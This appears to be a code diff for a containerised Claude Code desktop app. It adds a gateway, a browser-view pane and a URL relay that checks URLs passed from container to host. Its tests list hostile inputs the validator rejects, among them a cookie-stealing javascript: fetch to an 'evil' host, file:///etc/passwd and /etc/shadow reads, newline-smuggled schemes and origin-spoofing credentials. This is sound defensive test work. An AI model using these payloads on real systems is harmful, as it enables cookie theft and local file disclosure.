-export default function UrlToast({ url, onOpen, onDismiss }: Props) {
+export default function UrlToast({
  url,
  label = "Long URL detected",
  onOpen,
  onDismiss,
 }: Props) {
  return (
    <div
      className="animate-slide-down"
@@ -33,7 +40,7 @@ export default function UrlToast({ url, onOpen, onDismiss }: Props) {
            marginBottom: 2,
          }}
        >
-          Long URL detected
+          {label}
        </div>
        <div
          style={{
@@ -1,5 +1,5 @@
 import { invoke } from "@tauri-apps/api/core";
-import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus } from "./types";
+import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, PlaywrightDetection } from "./types";
 // Docker
 export const checkDocker = () => invoke<boolean>("check_docker");
@@ -103,6 +103,21 @@ export const pullSttImage = () => invoke<void>("pull_stt_image");
 export const transcribeAudio = (audioData: number[]) =>
  invoke<string>("transcribe_audio", { audioData });
 // Model gateway (LiteLLM)
 export const getGatewayStatus = () => invoke<GatewayStatus>("get_gateway_status");
 export const startGateway = () => invoke<GatewayStatus>("start_gateway");
 export const stopGateway = () => invoke<void>("stop_gateway");
 export const checkGatewayHealth = () => invoke<boolean>("check_gateway_health");
 export const buildGatewayImage = () => invoke<void>("build_gateway_image");
 export const pullGatewayImage = () => invoke<void>("pull_gateway_image");
 /** Write-only: the provider API key is never read back out of the keychain. */
 export const setGatewayApiKey = (apiKey: string) =>
  invoke<void>("set_gateway_api_key", { apiKey });
 export const clearGatewayApiKey = () => invoke<void>("clear_gateway_api_key");
 export const getGatewayAuthToken = () => invoke<string>("get_gateway_auth_token");
 export const regenerateGatewayAuthToken = () =>
  invoke<string>("regenerate_gateway_auth_token");
 // Docker install helper
 export const detectInstallOptions = () =>
  invoke<InstallOptions>("detect_install_options");
@@ -151,6 +166,19 @@ export const setAuthBridgeEnabled = (projectId: string, enabled: boolean) =>
 export const getAuthBridgeStatus = (projectId: string) =>
  invoke<AuthBridgeStatus>("get_auth_bridge_status", { projectId });
 // Browser view — watch and take over the browser Claude drives with Playwright
 // inside the container. Off by default, per project. Enabling probes the
 // container, starts the Playwright dashboard in it, and puts a token-gated
 // listener on the host's loopback in front of it; the returned `url` is the
 // only way in, and it is never reachable off the machine.
 export const setBrowserViewEnabled = (projectId: string, enabled: boolean) =>
  invoke<BrowserViewStatus>("set_browser_view_enabled", { projectId, enabled });
 export const getBrowserViewStatus = (projectId: string) =>
  invoke<BrowserViewStatus>("get_browser_view_status", { projectId });
 /** Probe for Playwright without starting anything — used to re-check after installing it. */
 export const checkBrowserViewSupport = (projectId: string) =>
  invoke<PlaywrightDetection>("check_browser_view_support", { projectId });
 // Shared Claude Code auth token — one `claude setup-token` run authenticates
 // every Anthropic-backend project. The token itself is never exposed here: it
 // lives in the OS keychain and is injected as a container env var.
@@ -23,6 +23,7 @@ export interface Project {
  backend: Backend;
  bedrock_config: BedrockConfig | null;
  ollama_config: OllamaConfig | null;
  llamacpp_config: LlamaCppConfig | null;
  openai_compatible_config: OpenAiCompatibleConfig | null;
  allow_docker_access: boolean;
  sandbox_mode_enabled: boolean;
@@ -30,6 +31,8 @@ export interface Project {
  /** Mirror container loopback listeners onto host loopback so in-container
   *  browser OAuth logins can complete. Host-side only — no container recreate. */
  auth_bridge_enabled: boolean;
  /** Opt in to the browser-view pane. Host-side only, like `auth_bridge_enabled`. */
  browser_view_enabled: boolean;
  /** Use the shared long-lived Claude Code token (from `claude setup-token`,
   *  held in the OS keychain) instead of this project's own `claude login`.
   *  Defaults to true; only applies when `backend` is "anthropic" and a token
@@ -60,7 +63,22 @@ export type ProjectStatus =
  | "stopping"
  | "error";
-export type Backend = "anthropic" | "bedrock" | "ollama" | "open_ai_compatible";
+export type Backend =
  | "anthropic"
  | "bedrock"
  | "ollama"
  | "llama_cpp"
  | "open_ai_compatible";
 /** Backends that point Claude Code at a non-Anthropic endpoint via
 *  `ANTHROPIC_BASE_URL`. These get the `ANTHROPIC_DEFAULT_*_MODEL` aliases
 *  pinned to their configured model; Anthropic and Bedrock do not. Mirrors
 *  Rust `Backend::uses_custom_endpoint`. */
 export const CUSTOM_ENDPOINT_BACKENDS: readonly Backend[] = [
  "ollama",
  "llama_cpp",
  "open_ai_compatible",
 ];
 /** Mirrors Rust `PermissionMode` (serde camelCase). */
 export type PermissionMode = "plan" | "default" | "acceptEdits" | "bypass";
@@ -83,12 +101,28 @@ export interface BedrockConfig {
 export interface OllamaConfig {
  base_url: string;
  model_id: string | null;
  /** Optional override for the model the `haiku` alias resolves to (the alias
   *  Claude Code uses for background work). Blank falls back to `model_id`. */
  haiku_model_id: string | null;
 }
 /** llama.cpp (`llama-server`) — it natively implements the Anthropic Messages
 *  API at `POST /v1/messages`, so Claude Code talks to it directly. */
 export interface LlamaCppConfig {
  base_url: string;
  model_id: string | null;
  /** See `OllamaConfig.haiku_model_id`. */
  haiku_model_id: string | null;
 }
 /** Despite the name (kept for existing project data), the endpoint must
 *  implement the **Anthropic** Messages API — e.g. LiteLLM. */
 export interface OpenAiCompatibleConfig {
  base_url: string;
  api_key: string | null;
  model_id: string | null;
  /** See `OllamaConfig.haiku_model_id`. */
  haiku_model_id: string | null;
 }
 export interface ClaudeCodeSettings {
@@ -137,11 +171,21 @@ export interface GlobalAwsSettings {
 export interface GlobalOllamaSettings {
  base_url: string | null;
  default_model_id: string | null;
  /** Global fallback for the `haiku` alias override; blank means "use the
   *  resolved model id". */
  default_haiku_model_id: string | null;
 }
 export interface GlobalLlamaCppSettings {
  base_url: string | null;
  default_model_id: string | null;
  default_haiku_model_id: string | null;
 }
 export interface GlobalOpenAiCompatibleSettings {
  base_url: string | null;
  default_model_id: string | null;
  default_haiku_model_id: string | null;
 }
 export interface AppSettings {
@@ -153,6 +197,7 @@ export interface AppSettings {
  custom_image_name: string | null;
  global_aws: GlobalAwsSettings;
  global_ollama: GlobalOllamaSettings;
  global_llamacpp: GlobalLlamaCppSettings;
  global_openai_compatible: GlobalOpenAiCompatibleSettings;
  global_claude_instructions: string | null;
  global_custom_env_vars: EnvVar[];
@@ -163,6 +208,7 @@ export interface AppSettings {
  dismissed_image_digest: string | null;
  web_terminal: WebTerminalSettings;
  stt: SttSettings;
  gateway: GatewaySettings;
  global_claude_code_settings: ClaudeCodeSettings | null;
 }
@@ -181,6 +227,35 @@ export interface SttStatus {
  image_exists: boolean;
 }
 /** One entry of the gateway's LiteLLM `model_list`. */
 export interface GatewayModel {
  /** Friendly name a project puts in its model field. */
  name: string;
  /** Provider-side model id, e.g. `gpt-5.1`. */
  model_id: string;
 }
 export interface GatewaySettings {
  enabled: boolean;
  port: number;
  /** LiteLLM provider prefix — `openai`, `azure`, `gemini`, … */
  provider: string;
  api_base: string | null;
  models: GatewayModel[];
 }
 export interface GatewayStatus {
  container_exists: boolean;
  running: boolean;
  port: number;
  image_exists: boolean;
  model_count: number;
  /** Presence only — the provider API key never leaves the keychain. */
  has_api_key: boolean;
  /** The value a project should use as its base URL. */
  base_url: string;
 }
 export interface WebTerminalSettings {
  enabled: boolean;
  port: number;
@@ -351,6 +426,44 @@ export interface AuthBridgeChangedEvent {
  status: AuthBridgeStatus;
 }
 // ── Browser view ─────────────────────────────────────────────────────────────
 /** What the container has, as reported by the in-container Playwright probe.
 *  Mirrors Rust `PlaywrightDetection`. */
 export interface PlaywrightDetection {
  node_version: string | null;
  playwright_version: string | null;
  playwright_path: string | null;
  /** Whether the resolved Playwright declares the `browser.bind()` live-dashboard API. */
  has_bind: boolean;
  cli_version: string | null;
  cli_entry: string | null;
  /** Module roots the probe searched, echoed back for the "not found" message. */
  searched: string[];
 }
 /** Mirrors Rust `BrowserViewState` (serde snake_case). */
 export type BrowserViewState = "off" | "running" | "unavailable";
 export interface BrowserViewStatus {
  enabled: boolean;
  state: BrowserViewState;
  /** Token-bearing loopback URL for the pane's iframe. Never leaves the host. */
  url: string | null;
  host_port: number | null;
  container_port: number | null;
  started_at: string | null;
  detection: PlaywrightDetection | null;
  /** Why the view isn't running, and what to do about it. */
  message: string | null;
 }
 /** Payload of the `browser-view-changed` event. */
 export interface BrowserViewChangedEvent {
  project_id: string;
  status: BrowserViewStatus;
 }
 /** Payload of the `claude-token-progress` event: milestones during
 *  `acquire_claude_token`. Never contains the token. */
 export interface ClaudeTokenProgressEvent {
@@ -0,0 +1,241 @@
 import { describe, it, expect } from "vitest";
 import {
  MAX_RELAY_URL_LENGTH,
  RelayRateLimiter,
  URL_RELAY_OSC,
  parseUrlRelayOsc,
  sanitizeRelayUrl,
 } from "./urlRelay";
 /** Build the OSC 7777 payload the container shim emits for `url`. */
 function payloadFor(url: string): string {
  const bytes = new TextEncoder().encode(url);
  let binary = "";
  for (const b of bytes) binary += String.fromCharCode(b);
  return `open;${btoa(binary)}`;
 }
 describe("URL_RELAY_OSC", () => {
  it("is the private identifier the container shim writes", () => {
    expect(URL_RELAY_OSC).toBe(7777);
  });
 });
 describe("sanitizeRelayUrl — accepts", () => {
  it("plain https URLs", () => {
    expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
      "https://github.com/login/device",
    );
  });
  it("plain http URLs", () => {
    expect(sanitizeRelayUrl("http://example.com/")).toBe("http://example.com/");
  });
  it("long OAuth URLs with query strings", () => {
    const url =
      "https://d-1234567890.awsapps.com/start/#/device?user_code=ABCD-EFGH&state=" +
      "x".repeat(200);
    expect(sanitizeRelayUrl(url)).toBe(url);
  });
  it("loopback callback URLs (the CLI, not the host, chose the port)", () => {
    expect(sanitizeRelayUrl("http://127.0.0.1:8123/callback?code=abc")).toBe(
      "http://127.0.0.1:8123/callback?code=abc",
    );
  });
  it("trims surrounding whitespace before validating", () => {
    expect(sanitizeRelayUrl("  https://example.com/x  ")).toBe(
      "https://example.com/x",
    );
  });
  it("normalizes so the toast shows exactly what will be opened", () => {
    expect(sanitizeRelayUrl("https://EXAMPLE.com")).toBe("https://example.com/");
  });
  it("keeps hyphens and other legal URL punctuation", () => {
    const url = "https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k";
    expect(sanitizeRelayUrl(url)).toBe(url);
  });
 });
 describe("sanitizeRelayUrl — rejects non-http(s) schemes", () => {
  // The whole point of the allowlist: the container must not be able to make
  // the host open a scheme that reaches local files, script, or an OS handler.
  it.each([
    ["javascript:", "javascript:alert(1)"],
    ["javascript: with payload", "javascript:fetch('http://evil/'+document.cookie)"],
    ["file: absolute path", "file:///etc/passwd"],
    ["file: host share", "file://host/share/secret"],
    ["data:", "data:text/html,<script>alert(1)</script>"],
    ["vbscript:", "vbscript:msgbox(1)"],
    ["blob:", "blob:https://example.com/uuid"],
    ["ftp:", "ftp://example.com/x"],
    ["ssh:", "ssh://root@example.com"],
    ["mailto:", "mailto:someone@example.com"],
    ["ms-msdt: (protocol handler)", "ms-msdt:/id PCWDiagnostic"],
    ["smb:", "smb://server/share"],
    ["custom app handler", "slack://open?team=T123"],
    ["chrome:", "chrome://settings"],
    ["about:", "about:blank"],
  ])("rejects %s", (_label, url) => {
    expect(sanitizeRelayUrl(url)).toBeNull();
  });
  it("rejects case-variant javascript:", () => {
    expect(sanitizeRelayUrl("JaVaScRiPt:alert(1)")).toBeNull();
  });
  it("rejects a scheme smuggled past a naive check with an embedded newline", () => {
    // `new URL()` strips tabs and newlines, so "java\nscript:" would parse as
    // a javascript: URL. The pre-parse control-character check stops it.
    expect(sanitizeRelayUrl("java\nscript:alert(1)")).toBeNull();
    expect(sanitizeRelayUrl("java\tscript:alert(1)")).toBeNull();
    expect(sanitizeRelayUrl("\x00javascript:alert(1)")).toBeNull();
  });
 });
 describe("sanitizeRelayUrl — rejects malformed and hostile input", () => {
  it("rejects non-strings", () => {
    expect(sanitizeRelayUrl(undefined)).toBeNull();
    expect(sanitizeRelayUrl(null)).toBeNull();
    expect(sanitizeRelayUrl(42)).toBeNull();
    expect(sanitizeRelayUrl({ href: "https://example.com" })).toBeNull();
  });
  it("rejects the empty string", () => {
    expect(sanitizeRelayUrl("")).toBeNull();
    expect(sanitizeRelayUrl("   ")).toBeNull();
  });
  it("rejects scheme-less input", () => {
    expect(sanitizeRelayUrl("example.com")).toBeNull();
    expect(sanitizeRelayUrl("//example.com")).toBeNull();
    expect(sanitizeRelayUrl("/etc/passwd")).toBeNull();
  });
  it("rejects http(s) URLs with no host", () => {
    expect(sanitizeRelayUrl("http://")).toBeNull();
  });
  it("does not let an extra slash turn an https URL into a local path", () => {
    // WHATWG parsing treats the third slash as part of the authority, so this
    // stays a network URL to the (unresolvable) host "etc" — it never becomes
    // a read of /etc/passwd.
    expect(sanitizeRelayUrl("https:///etc/passwd")).toBe("https://etc/passwd");
  });
  it("rejects embedded credentials (origin spoofing)", () => {
    expect(
      sanitizeRelayUrl("https://github.com@evil.example.com/login"),
    ).toBeNull();
    expect(sanitizeRelayUrl("https://user:pass@example.com/")).toBeNull();
  });
  it("rejects control characters and whitespace inside the URL", () => {
    expect(sanitizeRelayUrl("https://example.com/\x1b]0;pwned\x07")).toBeNull();
    expect(sanitizeRelayUrl("https://example.com/a b")).toBeNull();
    expect(sanitizeRelayUrl("https://example.com/a\r\nb")).toBeNull();
  });
  it("tolerates a trailing newline from the shim's printf", () => {
    expect(sanitizeRelayUrl("https://example.com/x\n")).toBe(
      "https://example.com/x",
    );
  });
  it("rejects oversized URLs", () => {
    const huge = "https://example.com/" + "a".repeat(MAX_RELAY_URL_LENGTH);
    expect(huge.length).toBeGreaterThan(MAX_RELAY_URL_LENGTH);
    expect(sanitizeRelayUrl(huge)).toBeNull();
  });
 });
 describe("parseUrlRelayOsc", () => {
  it("decodes the sequence the container shim emits", () => {
    const url = "https://github.com/login/device";
    expect(parseUrlRelayOsc(payloadFor(url))).toBe(url);
  });
  it("round-trips non-ASCII URLs through UTF-8", () => {
    const url = "https://example.com/café";
    // WHATWG normalization percent-encodes the path.
    expect(parseUrlRelayOsc(payloadFor(url))).toBe(
      "https://example.com/caf%C3%A9",
    );
  });
  it("applies the scheme allowlist to the decoded payload", () => {
    expect(parseUrlRelayOsc(payloadFor("javascript:alert(1)"))).toBeNull();
    expect(parseUrlRelayOsc(payloadFor("file:///etc/shadow"))).toBeNull();
  });
  it("rejects an unknown verb", () => {
    const body = payloadFor("https://example.com/").split(";")[1];
    expect(parseUrlRelayOsc(`exec;${body}`)).toBeNull();
    expect(parseUrlRelayOsc(`;${body}`)).toBeNull();
  });
  it("rejects payloads with no separator", () => {
    expect(parseUrlRelayOsc("open")).toBeNull();
    expect(parseUrlRelayOsc("")).toBeNull();
  });
  it("rejects an empty body", () => {
    expect(parseUrlRelayOsc("open;")).toBeNull();
  });
  it("rejects non-base64 bodies without throwing", () => {
    expect(parseUrlRelayOsc("open;!!!not base64!!!")).toBeNull();
    expect(parseUrlRelayOsc("open;https://example.com")).toBeNull();
  });
  it("rejects a body that decodes to invalid UTF-8", () => {
    expect(parseUrlRelayOsc(`open;${btoa("\xff\xfe")}`)).toBeNull();
  });
  it("rejects an absurdly large body before decoding", () => {
    expect(parseUrlRelayOsc(`open;${"A".repeat(MAX_RELAY_URL_LENGTH * 2 + 4)}`))
      .toBeNull();
  });
 });
 describe("RelayRateLimiter", () => {
  it("allows the first request", () => {
    const rl = new RelayRateLimiter();
    expect(rl.allow("https://a.example/", 0)).toBe(true);
  });
  it("suppresses a repeat of the same URL inside the dedupe window", () => {
    const rl = new RelayRateLimiter(5, 10_000, 5_000);
    expect(rl.allow("https://a.example/", 0)).toBe(true);
    expect(rl.allow("https://a.example/", 1_000)).toBe(false);
    expect(rl.allow("https://a.example/", 4_999)).toBe(false);
  });
  it("allows the same URL again after the dedupe window", () => {
    const rl = new RelayRateLimiter(5, 10_000, 5_000);
    expect(rl.allow("https://a.example/", 0)).toBe(true);
    // Repeats keep pushing the dedupe deadline out; measure from the last one.
    expect(rl.allow("https://a.example/", 6_000)).toBe(true);
  });
  it("caps the number of distinct prompts in the sliding window", () => {
    const rl = new RelayRateLimiter(3, 10_000, 1_000);
    expect(rl.allow("https://a.example/", 0)).toBe(true);
    expect(rl.allow("https://b.example/", 1_500)).toBe(true);
    expect(rl.allow("https://c.example/", 3_000)).toBe(true);
    expect(rl.allow("https://d.example/", 4_500)).toBe(false);
    expect(rl.allow("https://e.example/", 6_000)).toBe(false);
  });
  it("recovers once the window slides past the old requests", () => {
    const rl = new RelayRateLimiter(2, 10_000, 1_000);
    expect(rl.allow("https://a.example/", 0)).toBe(true);
    expect(rl.allow("https://b.example/", 100)).toBe(true);
    expect(rl.allow("https://c.example/", 200)).toBe(false);
    expect(rl.allow("https://c.example/", 10_200)).toBe(true);
  });
 });
@@ -0,0 +1,155 @@
 /**
 * URL relay — host side of `container/triple-c-open`.
 *
 * A CLI inside the container has no browser. When it wants to open a URL
 * (`gh auth login`, `aws sso login`, `gcloud auth login`, anything honouring
 * `$BROWSER` or shelling out to `xdg-open`), the container-side shim writes
 *
 *     ESC ] 7777 ; open ; <base64(url)> BEL
 *
 * to its controlling terminal. xterm.js routes that to an OSC 7777 handler,
 * which lands here.
 *
 * THE CONTAINER IS THE UNTRUSTED SIDE OF THIS BOUNDARY. Everything arriving
 * over the relay is attacker-controlled if the sandboxed agent misbehaves, so
 * this module is a validator first and a convenience second:
 *
 *  - only `http:` and `https:` survive — `file:`, `javascript:`, `data:` and
 *    every custom/registered URI handler are rejected. A container able to
 *    make the host open arbitrary schemes could reach local files, in-page
 *    script, or any protocol handler the OS has registered, which is a real
 *    escalation out of the sandbox.
 *  - embedded credentials (`https://user:pass@host`) are rejected: they are a
 *    display-spoofing vector in the confirmation toast and in the address bar.
 *  - control characters, whitespace and oversized payloads are rejected before
 *    parsing, so the relay can't be used to smuggle escape sequences or to
 *    push a megabyte of text into the UI.
 *  - the URL is returned in WHATWG-normalized form, so what the user is shown
 *    in the toast is exactly what gets opened.
 *
 * Opening is never automatic — see `RelayRateLimiter` and the confirmation
 * toast in TerminalView.
 */
 /** Private OSC identifier used by the relay. Chosen to avoid the numbers in
 *  common use (0-19, 22, 52, 104, 110-119, 133, 777, 1337). */
 export const URL_RELAY_OSC = 7777;
 /** Hard cap on a relayed URL. Real OAuth URLs run to a few hundred chars. */
 export const MAX_RELAY_URL_LENGTH = 8192;
 /**
 * Validate a URL the container asked the host to open.
 *
 * @returns the normalized URL, or `null` if it must not be opened.
 */
 export function sanitizeRelayUrl(raw: unknown): string | null {
  if (typeof raw !== "string") return null;
  const candidate = raw.trim();
  if (candidate.length === 0) return null;
  if (candidate.length > MAX_RELAY_URL_LENGTH) return null;
  // No whitespace or control characters anywhere. Rejecting these before
  // parsing matters: `new URL()` silently strips tabs/newlines, so
  // "java\nscript:alert(1)" would otherwise parse as a javascript: URL.
  // eslint-disable-next-line no-control-regex
  if (/[\s\u0000-\u0020\u007f]/.test(candidate)) return null;
  let parsed: URL;
  try {
    parsed = new URL(candidate);
  } catch {
    return null;
  }
  // Scheme allowlist. Nothing else, ever.
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
  // A special-scheme URL with no host is nonsense and, on some platforms,
  // resolves in surprising ways.
  if (parsed.hostname === "") return null;
  // Embedded credentials spoof the displayed origin.
  if (parsed.username !== "" || parsed.password !== "") return null;
  const normalized = parsed.toString();
  if (normalized.length > MAX_RELAY_URL_LENGTH) return null;
  return normalized;
 }
 /**
 * Parse the payload of an OSC 7777 sequence (everything between `ESC]7777;`
 * and the terminator).
 *
 * Expected shape: `open;<base64(url)>`. The URL is base64-encoded so that a
 * `;`, a BEL or an ESC inside it cannot break out of the sequence.
 *
 * @returns the validated URL, or `null` if the payload is malformed or the
 *          URL fails {@link sanitizeRelayUrl}.
 */
 export function parseUrlRelayOsc(data: string): string | null {
  if (typeof data !== "string") return null;
  const sep = data.indexOf(";");
  if (sep === -1) return null;
  const verb = data.slice(0, sep);
  if (verb !== "open") return null;
  const payload = data.slice(sep + 1);
  if (payload.length === 0) return null;
  // base64 of the length cap, plus slack for padding.
  if (payload.length > MAX_RELAY_URL_LENGTH * 2) return null;
  if (!/^[A-Za-z0-9+/]+=*$/.test(payload)) return null;
  let decoded: string;
  try {
    const binary = atob(payload);
    const bytes = Uint8Array.from(binary, (c) => c.charCodeAt(0));
    decoded = new TextDecoder("utf-8", { fatal: true }).decode(bytes);
  } catch {
    return null;
  }
  return sanitizeRelayUrl(decoded);
 }
 /**
 * Throttles relay requests so a runaway (or hostile) process in the container
 * can't bury the UI in prompts.
 *
 * Two limits: a sliding window on total requests, and a short dedup window so
 * a retry loop around a single URL produces one prompt rather than twenty.
 */
 export class RelayRateLimiter {
  private readonly maxInWindow: number;
  private readonly windowMs: number;
  private readonly dedupeMs: number;
  private timestamps: number[] = [];
  private lastUrl: string | null = null;
  private lastUrlAt = 0;
  constructor(maxInWindow = 5, windowMs = 10_000, dedupeMs = 5_000) {
    this.maxInWindow = maxInWindow;
    this.windowMs = windowMs;
    this.dedupeMs = dedupeMs;
  }
  /** @returns true if this request should be surfaced to the user. */
  allow(url: string, now: number = Date.now()): boolean {
    if (url === this.lastUrl && now - this.lastUrlAt < this.dedupeMs) {
      this.lastUrlAt = now;
      return false;
    }
    this.timestamps = this.timestamps.filter((t) => now - t < this.windowMs);
    if (this.timestamps.length >= this.maxInWindow) return false;
    this.timestamps.push(now);
    this.lastUrl = url;
    this.lastUrlAt = now;
    return true;
  }
 }
@@ -162,6 +162,57 @@ RUN chmod +x /usr/local/bin/audio-shim \
    && ln -sf /usr/local/bin/audio-shim /usr/local/bin/rec \
    && ln -sf /usr/local/bin/audio-shim /usr/local/bin/arecord
 # ── URL relay shim (host browser) ───────────────────────────────────────────
 # Container-side stand-in for a browser. Emits an OSC 7777 escape sequence that
 # Triple-C's terminal front-end intercepts and turns into a host-browser open.
 # Installed under every name a CLI conventionally consults, plus $BROWSER.
 #
 # What Ubuntu 24.04's base actually ships (verified, not assumed):
 #   sensible-browser  PRESENT  (/usr/bin/sensible-browser, from sensible-utils)
 #   xdg-open          absent   (xdg-utils is not installed)
 #   www-browser       absent   (no update-alternatives entry)
 #   x-www-browser     absent   (no update-alternatives entry)
 #   gnome-open / gvfs-open / kde-open / open   absent
 #
 # So the three names that need real handling, not just a symlink:
 #   * sensible-browser is a dpkg-owned file. A /usr/local/bin symlink would
 #     only shadow it for PATH lookups, leaving absolute-path callers on the
 #     stock script — so it is dpkg-diverted and replaced. (The stock script
 #     does defer to $BROWSER, but only when $BROWSER is set; diverting makes
 #     the behaviour unconditional and survives package upgrades.)
 #   * www-browser / x-www-browser are update-alternatives names, so they are
 #     registered as alternatives rather than hand-symlinked. This matters:
 #     sensible-browser probes /usr/bin/x-www-browser by absolute path, which
 #     only exists if something registered the alternative. `--set` pins them
 #     to manual mode so a later `apt install firefox` cannot steal them and
 #     point the container at a browser it has no display to run.
 #   * xdg-open is diverted pre-emptively so that if someone later installs
 #     xdg-utils inside the container, dpkg unpacks to xdg-open.distrib and
 #     our relay keeps /usr/bin/xdg-open.
 COPY triple-c-open /usr/local/bin/triple-c-open
 RUN chmod +x /usr/local/bin/triple-c-open \
    && for name in xdg-open sensible-browser gnome-open gvfs-open kde-open open; do \
           ln -sf /usr/local/bin/triple-c-open "/usr/local/bin/$name"; \
       done \
    && dpkg-divert --local --rename --divert /usr/bin/sensible-browser.distrib \
           --add /usr/bin/sensible-browser \
    && ln -sf /usr/local/bin/triple-c-open /usr/bin/sensible-browser \
    && dpkg-divert --local --rename --divert /usr/bin/xdg-open.distrib \
           --add /usr/bin/xdg-open \
    && ln -sf /usr/local/bin/triple-c-open /usr/bin/xdg-open \
    && update-alternatives --install /usr/bin/x-www-browser x-www-browser \
           /usr/local/bin/triple-c-open 200 \
    && update-alternatives --set x-www-browser /usr/local/bin/triple-c-open \
    && update-alternatives --install /usr/bin/www-browser www-browser \
           /usr/local/bin/triple-c-open 200 \
    && update-alternatives --set www-browser /usr/local/bin/triple-c-open
 # $BROWSER must be an image-level ENV, not just an entrypoint export: terminal
 # sessions are separate `docker exec`s, which inherit the container's config
 # env and see nothing the entrypoint exported into its own process. The
 # entrypoint additionally forwards it into the cron environment file.
 ENV BROWSER=/usr/local/bin/triple-c-open
 COPY triple-c-sso-refresh /usr/local/bin/triple-c-sso-refresh
 RUN chmod +x /usr/local/bin/triple-c-sso-refresh
@@ -242,6 +242,18 @@ if [ -n "${TZ:-}" ]; then
    fi
 fi
 # ── Browser / URL relay ──────────────────────────────────────────────────────
 # Tools that open a browser (gh, aws sso login, gcloud, python webbrowser, ...)
 # consult $BROWSER first. Point it at the relay shim, which forwards the URL to
 # the host's browser over the terminal. The image already sets this as an ENV —
 # that is what `docker exec` terminal sessions inherit — but exporting it here
 # means the entrypoint's own children see it too, and (below) that it is
 # captured into the cron environment file for scheduled tasks. Under cron there
 # is no terminal, so the shim degrades to printing the URL into the task log.
 if [ -x /usr/local/bin/triple-c-open ]; then
    export BROWSER=/usr/local/bin/triple-c-open
 fi
 # ── Scheduler setup ─────────────────────────────────────────────────────────
 SCHEDULER_DIR="/home/claude/.claude/scheduler"
 mkdir -p "$SCHEDULER_DIR/tasks" "$SCHEDULER_DIR/logs" "$SCHEDULER_DIR/notifications"
@@ -255,7 +267,7 @@ ENV_FILE="$SCHEDULER_DIR/.env"
 : > "$ENV_FILE"
 env | while IFS='=' read -r key value; do
    case "$key" in
-        ANTHROPIC_*|AWS_*|CLAUDE_CODE_*|TRIPLE_C_PERMISSION_MODE|PATH|HOME|LANG|TZ|COLORTERM)
+        ANTHROPIC_*|AWS_*|CLAUDE_CODE_*|TRIPLE_C_PERMISSION_MODE|PATH|HOME|LANG|TZ|COLORTERM|BROWSER)
            # Escape single quotes in value and write as KEY='VALUE'
            escaped_value=$(printf '%s' "$value" | sed "s/'/'\\\\''/g")
            printf "%s='%s'\n" "$key" "$escaped_value" >> "$ENV_FILE"
@@ -0,0 +1,136 @@
 #!/bin/bash
 # triple-c-open — URL relay shim.
 #
 # Programs inside the container have no browser and no display. When one wants
 # to open a URL (`gh auth login`, `aws sso login`, `gcloud auth login`, any
 # tool that shells out to xdg-open or honours $BROWSER), this shim relays the
 # URL to the *Triple-C host*, where the user's real browser lives. Nothing is
 # rendered in the container — this is a message, not display forwarding.
 #
 # Transport: an OSC escape sequence written to the controlling terminal, the
 # same trick /usr/local/bin/osc52-clipboard uses for the clipboard.
 #
 #     ESC ] 7777 ; open ; <base64(url)> BEL
 #
 # It goes to /dev/tty, not stdout, so it still reaches the terminal when this
 # shim is a grandchild of something that captures its children's output (e.g.
 # Claude Code running `gh auth login` as a tool call). Triple-C's terminal
 # front-end registers an OSC 7777 handler, validates the URL and offers to open
 # it on the host. Terminals that don't know OSC 7777 silently discard it.
 #
 # Installed as: xdg-open, sensible-browser, www-browser, x-www-browser,
 # gnome-open, gvfs-open, kde-open, open — and as $BROWSER.
 #
 # NO-TERMINAL FALLBACK: cron-driven scheduled tasks (triple-c-task-runner) run
 # with no controlling terminal at all, and a container can be exec'd into from
 # a plain `docker exec` with no Triple-C front-end listening. There is no
 # handshake and nothing to wait for, so this shim never blocks: it prints the
 # URL in plain text on its own line and exits. A human reading the scheduler
 # log, or the operator at a foreign terminal, can still act on it.
 set -u
 PROGRAM_NAME="triple-c-open"
 MAX_URL_LENGTH=8192   # refuse absurd payloads rather than base64 them
 MAX_TARGETS=8         # refuse to fan out into a burst of relays
 usage() {
    cat <<EOF
 Usage: $PROGRAM_NAME <url> [url ...]
 Relays http/https URLs to the Triple-C host's browser via the terminal.
 With no Triple-C terminal attached, prints the URL instead of opening it.
 Options:
  -h, --help     Show this help
  -v, --version  Show version
 EOF
 }
 # stderr, so we never pollute a caller that parses our stdout.
 note() {
    printf '%s\n' "$*" >&2
 }
 # Scheme allow-list. The host validates independently — this is defence in
 # depth and, more usefully, an immediate error message for the caller.
 # Rejects file:, javascript:, data:, and every custom handler.
 is_relayable_url() {
    local url="$1"
    case "$url" in
        http://*|https://*|HTTP://*|HTTPS://*|Http://*|Https://*) ;;
        *) return 1 ;;
    esac
    # Reject control characters and whitespace: a bare CR/LF or ESC in the URL
    # would let the container inject its own escape sequences into the relay.
    case "$url" in
        *[[:space:][:cntrl:]]*) return 1 ;;
    esac
    [ "${#url}" -le "$MAX_URL_LENGTH" ]
 }
 # Write the OSC sequence to the controlling terminal. Returns non-zero when
 # there is no controlling terminal (cron, detached exec) — bash fails the
 # redirection itself, which is exactly the signal we want.
 emit_osc() {
    local encoded
    encoded=$(printf '%s' "$1" | base64 | tr -d '\n') || return 1
    # The braces matter: with no controlling terminal bash reports the failed
    # redirection on stderr, and only a group-level 2>/dev/null (applied before
    # the inner > /dev/tty) suppresses that noise. Trailing `2>/dev/null` on
    # the printf itself would be applied *after* the failing redirection.
    { printf '\033]7777;open;%s\a' "$encoded" > /dev/tty; } 2>/dev/null
 }
 relay() {
    local url="$1"
    if ! is_relayable_url "$url"; then
        note "$PROGRAM_NAME: refusing to relay non-http(s) target: $url"
        note "$PROGRAM_NAME: only http:// and https:// URLs can be opened on the host."
        # xdg-open convention: 4 = the action failed.
        return 4
    fi
    if emit_osc "$url"; then
        note "$PROGRAM_NAME: sent to the Triple-C host browser:"
        note "$url"
        return 0
    fi
    # No controlling terminal. Do not wait for a host that isn't listening.
    note "$PROGRAM_NAME: no Triple-C terminal attached — cannot reach the host browser."
    note "$PROGRAM_NAME: open this URL manually:"
    note "$url"
